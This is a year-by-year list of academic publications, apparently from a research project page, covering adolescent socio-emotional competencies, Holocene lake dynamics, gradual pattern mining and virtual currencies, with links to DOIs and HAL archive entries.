		* Mella N., Pansu P., Batruch A., Bouet M., Bressoux P., Brown G., Butera F., Cepeda C., Darnon C., Demolliens M., De Place AL, Ducros T., Goron L., Huguet P., Jamet E., Martinez R., Mazenod V., Michinov N., Peter L., Petitcollot B., Poletti C., Régner I., Riant M., Robert A., Sanrey C., Stanczak A., Toumani F., Visintin E., Vives E., Desrichard O.. An exploratory network analysis of socio-emotional competencies, school adjustment and school performance in adolescence. Journal of Educational Psychology, Volume 12 - 2021 ([https://doi.org/10.3389/fpsyg.2021.640661](https://doi.org/10.3389/fpsyg.2021.640661.)) ([full article](https://www.frontiersin.org/journals/psychology/articles/10.3389/fpsyg.2021.640661/full)) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>


		## 2020

		* Yannick Miras , Jerry Lonlac, Beauger Aude, Benjamin Legrand , Delphine Latour , Karen K. Serieyssol , Marlène Lavrieux , Paul M Ledger, Vincent Mazenod , Jean-Luc Peiry, Engelbert Mephu Nguifo. Refining Holocene lake dynamics and detecting early human-induced ecological legacies: towards improved analysis of past biodiversity through a data mining approach ([researchgate.net](https://www.researchgate.net/publication/341286528_Patterning_Holocene_lake_dynamics_and_detecting_early_Prehistoric_human_impacts_targets_of_an_improved_integration_of_multivariate_ecological_indicators_thanks_to_the_data_mining_approach)) <a href="/mobipaleo.html"><span class="label label-success">Mobipaleo</span></a>


		## 2018

		* Lonlac Konlac J., Miras Y., Beauger A., Mazenod V., Peiry J.L.. An Approach for Extracting Frequent (Closed) Gradual Patterns Under Temporal Constraint. 2018 IEEE International Conference on Fuzzy Systems (FUZZ-IEEE), 2018. ⟨[hal-01924145](https://hal.archives-ouvertes.fr/hal-01924145v1)⟩ <a href="/mobipaleo.html"><span class="label label-success">Mobipaleo</span></a>

		* Ariane Tichit, Pascal Lafourcade, Vincent Mazenod. Les monnaies virtuelles décentralisées sont-elles des dispositifs d'avenir ? Political Economy, Association d’Économie Politique, 2018. ⟨[hal-01995938](https://hal.archives-ouvertes.fr/hal-01995938v1)⟩

		## 2017

		* Ariane Tichit, Pascal Lafourcade, Vincent Mazenod . Les monnaies virtuelles décentralisées sont-elles des outils d’avenir ?. ⟨[halshs-01467329](https://hal.archives-ouvertes.fr/halshs-01467329v1)⟩

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